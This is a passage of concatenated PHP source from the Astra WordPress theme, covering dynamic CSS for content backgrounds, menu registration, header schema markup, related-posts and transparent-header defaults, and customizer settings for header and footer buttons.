astra_get_tablet_breakpoint() ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $container_css_mobile, '', astra_get_mobile_breakpoint() ); $dynamic_css .= astra_parse_css( $sidebar_css ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $sidebar_css_tablet, '', astra_get_tablet_breakpoint() ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $sidebar_css_mobile, '', astra_get_mobile_breakpoint() ); if ( astra_apply_content_background_fullwidth_layouts() ) { $fullwidth_layout = array( '.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ), ); $fullwidth_layout_tablet = array( '.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ), ); $fullwidth_layout_mobile = array( '.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ), ); $dynamic_css .= astra_parse_css( $fullwidth_layout ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $fullwidth_layout_tablet, '', astra_get_tablet_breakpoint() ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $fullwidth_layout_mobile, '', astra_get_mobile_breakpoint() ); } return $dynamic_css; } /** * Applies an unboxed container to the content. * * @since 4.2.0 * @param array $content_bg_obj The background object for the content. * @param bool $is_boxed Container style is boxed or not. * @param bool $is_sidebar_boxed Sidebar style is boxed or not. * @param mixed $current_layout The current container layout applied. * @return array $content_bg_obj The updated background object for the content. */ function astra_apply_unboxed_container( $content_bg_obj, $is_boxed, $is_sidebar_boxed, $current_layout ) { $site_bg_obj = astra_get_option( 'site-layout-outside-bg-obj-responsive' ); $meta_background_enabled = astra_get_option_meta( 'ast-page-background-enabled' ); // Check for third party pages meta. if ( '' === $meta_background_enabled && astra_with_third_party() ) { $meta_background_enabled = astra_third_party_archive_meta( 'ast-page-background-enabled' ); if ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) { $site_bg_obj = astra_third_party_archive_meta( 'ast-page-background-meta' ); } } elseif ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) { $site_bg_obj = astra_get_option_meta( 'ast-page-background-meta' ); } if ( 'plain-container' === $current_layout && ! $is_boxed && $is_sidebar_boxed && 'no-sidebar' !== astra_page_layout() ) { $content_bg_obj = $site_bg_obj; } return $content_bg_obj; }/** * Admin functions - Functions that add some functionality to WordPress admin panel * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Register menus */ if ( ! function_exists( 'astra_register_menu_locations' ) ) { /** * Register menus * * @since 1.0.0 */ function astra_register_menu_locations() { /** * Primary Menus */ register_nav_menus( array( 'primary' => esc_html__( 'Primary Menu', 'astra' ), ) ); if ( true === Astra_Builder_Helper::$is_header_footer_builder_active ) { /** * Register the Secondary & Mobile menus. */ register_nav_menus( array( 'secondary_menu' => esc_html__( 'Secondary Menu', 'astra' ), 'mobile_menu' => esc_html__( 'Off-Canvas Menu', 'astra' ), ) ); $component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu; for ( $index = 3; $index <= $component_limit; $index++ ) { if ( ! is_customize_preview() && ! Astra_Builder_Helper::is_component_loaded( 'menu-' . $index ) ) { continue; } register_nav_menus( array( 'menu_' . $index => esc_html__( 'Menu ', 'astra' ) . $index, ) ); } /** * Register the Account menus. */ register_nav_menus( array( 'loggedin_account_menu' => esc_html__( 'Logged In Account Menu', 'astra' ), ) ); } /** * Footer Menus */ register_nav_menus( array( 'footer_menu' => esc_html__( 'Footer Menu', 'astra' ), ) ); } } add_action( 'init', 'astra_register_menu_locations' );/** * Schema markup. * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 2.1.3 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Astra CreativeWork Schema Markup. * * @since 2.1.3 */ class Astra_WPHeader_Schema extends Astra_Schema { /** * Setup schema * * @since 2.1.3 */ public function setup_schema() { if ( true !== $this->schema_enabled() ) { return false; } add_filter( 'astra_attr_header', array( $this, 'wpheader_Schema' ) ); } /** * Update Schema markup attribute. * * @param array $attr An array of attributes. * * @return array Updated embed markup. */ public function wpheader_Schema( $attr ) { $attr['itemtype'] = 'https://schema.org/WPHeader'; $attr['itemscope'] = 'itemscope'; $attr['itemid'] = '#masthead'; return $attr; } /** * Enabled schema * * @since 2.1.3 */ protected function schema_enabled() { return apply_filters( 'astra_wpheader_schema_enabled', parent::schema_enabled() ); } } new Astra_WPHeader_Schema();/** * Related Posts Loader for Astra theme. * * @package Astra * @author Brainstorm Force * @copyright Copyright (c) 2021, Brainstorm Force * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.5.0 */ class Astra_Related_Posts_Loader { /** * Constructor * * @since 3.5.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_register', array( $this, 'related_posts_customize_register' ), 2 ); // Load Google fonts. add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); } /** * Enqueue google fonts. * * @return void */ public function add_fonts() { if ( astra_target_rules_for_related_posts() ) { // Related Posts Section title. $section_title_font_family = astra_get_option( 'related-posts-section-title-font-family' ); $section_title_font_weight = astra_get_option( 'related-posts-section-title-font-weight' ); Astra_Fonts::add_font( $section_title_font_family, $section_title_font_weight ); // Related Posts - Posts title. $post_title_font_family = astra_get_option( 'related-posts-title-font-family' ); $post_title_font_weight = astra_get_option( 'related-posts-title-font-weight' ); Astra_Fonts::add_font( $post_title_font_family, $post_title_font_weight ); // Related Posts - Meta Font. $meta_font_family = astra_get_option( 'related-posts-meta-font-family' ); $meta_font_weight = astra_get_option( 'related-posts-meta-font-weight' ); Astra_Fonts::add_font( $meta_font_family, $meta_font_weight ); // Related Posts - Content Font. $content_font_family = astra_get_option( 'related-posts-content-font-family' ); $content_font_weight = astra_get_option( 'related-posts-content-font-weight' ); Astra_Fonts::add_font( $content_font_family, $content_font_weight ); } } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { /** * Update Astra default color and typography values. To not update directly on existing users site, added backwards. * * @since 4.0.0 */ $apply_new_default_color_typo_values = Astra_Dynamic_CSS::astra_check_default_color_typo(); $astra_options = Astra_Theme_Options::get_astra_options(); $astra_blog_update = Astra_Dynamic_CSS::astra_4_6_0_compatibility(); // Related Posts. $defaults['enable-related-posts'] = false; $defaults['related-posts-title'] = __( 'Related Posts', 'astra' ); $defaults['releted-posts-title-alignment'] = 'left'; $defaults['related-posts-total-count'] = 2; $defaults['enable-related-posts-excerpt'] = false; $defaults['related-posts-box-placement'] = 'default'; $defaults['related-posts-outside-location'] = 'above'; $defaults['related-posts-container-width'] = $astra_blog_update ? '' : 'fallback'; $defaults['related-posts-excerpt-count'] = 25; $defaults['related-posts-based-on'] = 'categories'; $defaults['related-posts-order-by'] = 'date'; $defaults['related-posts-order'] = 'asc'; $defaults['related-posts-grid-responsive'] = array( 'desktop' => '2-equal', 'tablet' => '2-equal', 'mobile' => 'full', ); $defaults['related-posts-structure'] = array( 'featured-image', 'title-meta', ); $defaults['related-posts-tag-style'] = 'none'; $defaults['related-posts-category-style'] = 'none'; $defaults['related-posts-date-format'] = ''; $defaults['related-posts-meta-date-type'] = 'published'; $defaults['related-posts-author-avatar-size'] = ''; $defaults['related-posts-author-avatar'] = false; $defaults['related-posts-author-prefix-label'] = astra_default_strings( 'string-blog-meta-author-by', false ); $defaults['related-posts-image-size'] = ''; $defaults['related-posts-image-custom-scale-width'] = 16; $defaults['related-posts-image-custom-scale-height'] = 9; $defaults['related-posts-image-ratio-pre-scale'] = '16/9'; $defaults['related-posts-image-ratio-type'] = ''; $defaults['related-posts-meta-structure'] = array( 'comments', 'category', 'author', ); // Related Posts - Color styles. $defaults['related-posts-text-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : ''; $defaults['related-posts-link-color'] = ''; $defaults['related-posts-title-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : ''; $defaults['related-posts-background-color'] = ''; $defaults['related-posts-meta-color'] = ''; $defaults['related-posts-link-hover-color'] = ''; $defaults['related-posts-meta-link-hover-color'] = ''; // Related Posts - Title typo. $defaults['related-posts-section-title-font-family'] = 'inherit'; $defaults['related-posts-section-title-font-weight'] = 'inherit'; $defaults['related-posts-section-title-text-transform'] = ''; $defaults['related-posts-section-title-line-height'] = $apply_new_default_color_typo_values ? '1.25' : ''; $defaults['related-posts-section-title-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-line-height'] ) ? $astra_options['related-posts-section-title-line-height'] : '1.6', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-text-transform'] ) ? $astra_options['related-posts-section-title-text-transform'] : '', 'text-decoration' => '', ); $defaults['related-posts-section-title-font-size'] = array( 'desktop' => $apply_new_default_color_typo_values ? '26' : '30', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Related Posts - Title typo. $defaults['related-posts-title-font-family'] = 'inherit'; $defaults['related-posts-title-font-weight'] = $apply_new_default_color_typo_values ? '500' : 'inherit'; $defaults['related-posts-title-text-transform'] = ''; $defaults['related-posts-title-line-height'] = '1'; $defaults['related-posts-title-font-size'] = array( 'desktop' => '20', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['related-posts-title-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-line-height'] ) ? $astra_options['related-posts-title-line-height'] : ( $astra_blog_update ? '1.5' : '1' ), 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-text-transform'] ) ? $astra_options['related-posts-title-text-transform'] : '', 'text-decoration' => '', ); // Related Posts - Meta typo. $defaults['related-posts-meta-font-family'] = 'inherit'; $defaults['related-posts-meta-font-weight'] = 'inherit'; $defaults['related-posts-meta-text-transform'] = ''; $defaults['related-posts-meta-line-height'] = ''; $defaults['related-posts-meta-font-size'] = array( 'desktop' => '14', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['related-posts-meta-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-line-height'] ) ? $astra_options['related-posts-meta-line-height'] : '1.6', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-text-transform'] ) ? $astra_options['related-posts-meta-text-transform'] : '', 'text-decoration' => '', ); // Related Posts - Content typo. $defaults['related-posts-content-font-family'] = 'inherit'; $defaults['related-posts-content-font-weight'] = 'inherit'; $defaults['related-posts-content-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-line-height'] ) ? $astra_options['related-posts-content-line-height'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-text-transform'] ) ? $astra_options['related-posts-content-text-transform'] : '', 'text-decoration' => '', ); $defaults['related-posts-content-font-size'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['ast-sub-section-related-posts-padding'] = array( 'desktop' => array( 'top' => 2.5, 'right' => 2.5, 'bottom' => 2.5, 'left' => 2.5, ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['ast-sub-section-related-posts-margin'] = array( 'desktop' => array( 'top' => 2, 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); return $defaults; } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * * @since 3.5.0 */ public function related_posts_customize_register( $wp_customize ) { /** * Register Config control in Related Posts. */ // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'customizer/class-astra-related-posts-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Render the Related Posts title for the selective refresh partial. * * @since 3.5.0 */ public function render_related_posts_title() { return astra_get_option( 'related-posts-title' ); } } /** * Kicking this off by creating NEW instace. */ new Astra_Related_Posts_Loader();/** * Transparent Header - Customizer. * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! class_exists( 'Astra_Ext_Transparent_Header_Loader' ) ) { /** * Customizer Initialization * * @since 1.0.0 */ class Astra_Ext_Transparent_Header_Loader { /** * Member Variable * * @var object instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); add_action( 'customize_register', array( $this, 'customize_register' ), 2 ); } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { // Header - Transparent. $defaults['transparent-header-logo'] = ''; $defaults['transparent-header-retina-logo'] = ''; $defaults['different-transparent-logo'] = 0; $defaults['different-transparent-retina-logo'] = 0; $defaults['transparent-header-logo-width'] = array( 'desktop' => 150, 'tablet' => 120, 'mobile' => 100, ); $defaults['transparent-header-enable'] = 0; /** * Old option for 404, search and archive pages. * * For default value on separate option this setting is in use. */ $defaults['transparent-header-disable-archive'] = 1; $defaults['transparent-header-disable-latest-posts-index'] = 1; $defaults['transparent-header-on-devices'] = 'both'; $defaults['transparent-header-main-sep'] = ''; $defaults['transparent-header-main-sep-color'] = ''; /** * Transparent Header */ $defaults['transparent-header-bg-color'] = ''; $defaults['transparent-header-color-site-title'] = ''; $defaults['transparent-header-color-h-site-title'] = ''; $defaults['transparent-menu-bg-color'] = ''; $defaults['transparent-menu-color'] = ''; $defaults['transparent-menu-h-color'] = ''; $defaults['transparent-submenu-bg-color'] = ''; $defaults['transparent-submenu-color'] = ''; $defaults['transparent-submenu-h-color'] = ''; $defaults['transparent-header-logo-color'] = ''; /** * Transparent Header Responsive Colors */ $defaults['transparent-header-bg-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['hba-transparent-header-bg-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['hbb-transparent-header-bg-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-header-color-site-title-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-header-color-h-site-title-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-menu-bg-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-menu-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-menu-h-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-submenu-bg-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-submenu-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-submenu-h-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-content-section-text-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-content-section-link-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['transparent-content-section-link-h-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); return $defaults; } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register( $wp_customize ) { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound /** * Register Panel & Sections */ require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/class-astra-transparent-header-panels-and-sections.php'; /** * Sections */ require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/sections/class-astra-customizer-colors-transparent-header-configs.php'; // Check Transparent Header is activated. require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/sections/class-astra-customizer-transparent-header-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Customizer Preview */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-transparent-header-customizer-preview-js', ASTRA_THEME_TRANSPARENT_HEADER_URI . 'assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); // Localize variables for further JS. wp_localize_script( 'astra-transparent-header-customizer-preview-js', 'AstraBuilderTransparentData', array( 'is_astra_hf_builder_active' => Astra_Builder_Helper::$is_header_footer_builder_active, 'is_flex_based_css' => Astra_Builder_Helper::apply_flex_based_css(), 'transparent_header_devices' => astra_get_option( 'transparent-header-on-devices' ), ) ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Transparent_Header_Loader::get_instance();/** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ class Astra_Button_Component_Configs { /** * Register Builder Customizer Configurations. * * @param array $configurations Configurations. * @param string $builder_type Builder Type. * @param string $section Section. * * @since 3.0.0 * @return array $configurations Astra Customizer Configurations with updated configurations. */ public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) { if ( 'footer' === $builder_type ) { $class_obj = Astra_Builder_Footer::get_instance(); $number_of_button = Astra_Builder_Helper::$num_of_footer_button; $component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_button; } else { $class_obj = Astra_Builder_Header::get_instance(); $number_of_button = Astra_Builder_Helper::$num_of_header_button; $component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_button; } $button_config = array(); for ( $index = 1; $index <= $component_limit; $index++ ) { $_section = $section . $index; $_prefix = 'button' . $index; /** * These options are related to Header Section - Button. * Prefix hs represents - Header Section. */ $button_config[] = array( /* * Header Builder section - Button Component Configs. */ array( 'name' => $_section, 'type' => 'section', 'priority' => 50, /* translators: %s Index */ 'title' => ( 1 === $number_of_button ) ? __( 'Button', 'astra' ) : sprintf( __( 'Button %s', 'astra' ), $index ), 'panel' => 'panel-' . $builder_type . '-builder-group', 'clone_index' => $index, 'clone_type' => $builder_type . '-button', ), /** * Option: Header Builder Tabs */ array( 'name' => $_section . '-ast-context-tabs', 'section' => $_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ), /** * Option: Button Text */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text' ), 'type' => 'control', 'control' => 'text', 'section' => $_section, 'priority' => 20, 'title' => __( 'Text', 'astra' ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-button-' . $index, 'container_inclusive' => false, 'render_callback' => array( $class_obj, 'button_' . $index ), 'fallback_refresh' => false, ), 'context' => Astra_Builder_Helper::$general_tab, ), /** * Option: Button Link */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-link-option]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-link-option' ), 'type' => 'control', 'control' => 'ast-link', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_link' ), 'section' => $_section, 'priority' => 30, 'title' => __( 'Link', 'astra' ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-button-' . $index, 'container_inclusive' => false, 'render_callback' => array( $class_obj, 'button_' . $index ), ), 'context' => Astra_Builder_Helper::$general_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Group: Primary Header Button Colors Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Text Color', 'astra' ), 'section' => $_section, 'transport' => 'postMessage', 'priority' => 70, 'context' => Astra_Builder_Helper::$design_tab, 'responsive' => true, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Background Color', 'astra' ), 'section' => $_section, 'transport' => 'postMessage', 'priority' => 70, 'context' => Astra_Builder_Helper::$design_tab, 'responsive' => true, ), /** * Option: Button Text Color */ array( 'name' => $builder_type . '-' . $_prefix . '-text-color', 'transport' => 'postMessage', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-color' ), 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]', 'section' => $_section, 'tab' => __( 'Normal', 'astra' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 9, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Normal', 'astra' ), ), /** * Option: Button Text Hover Color */ array( 'name' => $builder_type . '-' . $_prefix . '-text-h-color', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]', 'section' => $_section, 'tab' => __( 'Hover', 'astra' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 9, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Hover', 'astra' ), ), /** * Option: Button Background Color */ array( 'name' => $builder_type . '-' . $_prefix . '-back-color', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]', 'section' => $_section, 'tab' => __( 'Normal', 'astra' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 10, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Normal', 'astra' ), ), /** * Option: Button Button Hover Color */ array( 'name' => $builder_type . '-' . $_prefix . '-back-h-color', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]', 'section' => $_section, 'tab' => __( 'Hover', 'astra' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 10, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Hover', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]', 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Border Color', 'astra' ), 'section' => $_section, 'priority' => 70, 'transport' => 'postMessage', 'context' => Astra_Builder_Helper::$design_tab, 'responsive' => true, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), /** * Option: Button Border Color */ array( 'name' => $builder_type . '-' . $_prefix . '-border-color', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-color' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]', 'transport' => 'postMessage', 'type' => 'sub-control', 'section' => $_section, 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 70, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Normal', 'astra' ), ), /** * Option: Button Border Hover Color */ array( 'name' => $builder_type . '-' . $_prefix . '-border-h-color', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-h-color' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]', 'transport' => 'postMessage', 'type' => 'sub-control', 'section' => $_section, 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 70, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Hover', 'astra' ), ), /** * Option: Button Border Size */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-size]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-size' ), 'type' => 'control', 'section' => $_section, 'control' => 'ast-border', 'transport' => 'postMessage', 'linked_choices' => true, 'priority' => 99, 'title' => __( 'Border Width', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Button Radius Fields */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-radius-fields]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-radius-fields' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $_section, 'title' => __( 'Border Radius', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'priority' => 99, 'context' => Astra_Builder_Helper::$design_tab, 'connected' => false, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Primary Header Button Typography */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-typography' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Font', 'astra' ), 'section' => $_section, 'transport' => 'postMessage', 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 90, ), /** * Option: Primary Header Button Font Family */ array( 'name' => $builder_type . '-' . $_prefix . '-font-family', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-family' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]', 'type' => 'sub-control', 'section' => $_section, 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'title' => __( 'Font Family', 'astra' ), 'context' => Astra_Builder_Helper::$general_tab, 'connect' => $builder_type . '-' . $_prefix . '-font-weight', 'priority' => 1, 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Primary Footer Button Font Weight */ array( 'name' => $builder_type . '-' . $_prefix . '-font-weight', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-weight' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]', 'type' => 'sub-control', 'section' => $_section, 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'title' => __( 'Font Weight', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'connect' => $builder_type . '-' . $_prefix . '-font-family', 'priority' => 2, 'context' => 